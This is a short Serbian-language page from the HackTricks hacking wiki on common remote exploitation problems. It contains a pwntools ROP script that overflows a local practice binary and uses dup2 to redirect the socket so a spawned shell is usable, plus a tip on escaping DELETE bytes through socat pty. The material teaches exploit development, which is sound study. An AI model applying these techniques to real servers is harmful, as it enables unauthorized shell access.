3.7 KiB
Uobičajeni problemi sa eksploatacijom
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
FDs u daljinskoj eksploataciji
Kada se šalje eksploatacija na daljinski server koji poziva system('/bin/sh')
, to će se izvršiti u procesu servera, a /bin/sh
će očekivati ulaz sa stdin (FD: 0
) i će ispisivati izlaz na stdout i stderr (FD-ovi 1
i 2
). Tako da napadač neće moći da interaguje sa shell-om.
Jedan od načina da se to reši je da se pretpostavi da je kada je server pokrenut, kreiran FD broj 3
(za slušanje) i da će vaša veza biti u FD broju 4
. Stoga, moguće je koristiti sistemski poziv dup2
da se duplira stdin (FD 0) i stdout (FD 1) u FD 4 (onaj od napadačeve veze) kako bi se omogućila komunikacija sa shell-om kada se izvrši.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Napomena da socat već prenosi stdin
i stdout
na soket. Međutim, pty
režim uključuje DELETE karaktere. Dakle, ako pošaljete \x7f
( DELETE
-) to će izbrisati prethodni karakter vašeg eksploita.
Da biste to zaobišli, escape karakter \x16
mora biti prethodjen bilo kojim \x7f
koji se šalje.
Ovde možete pronaći primer ovog ponašanja.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.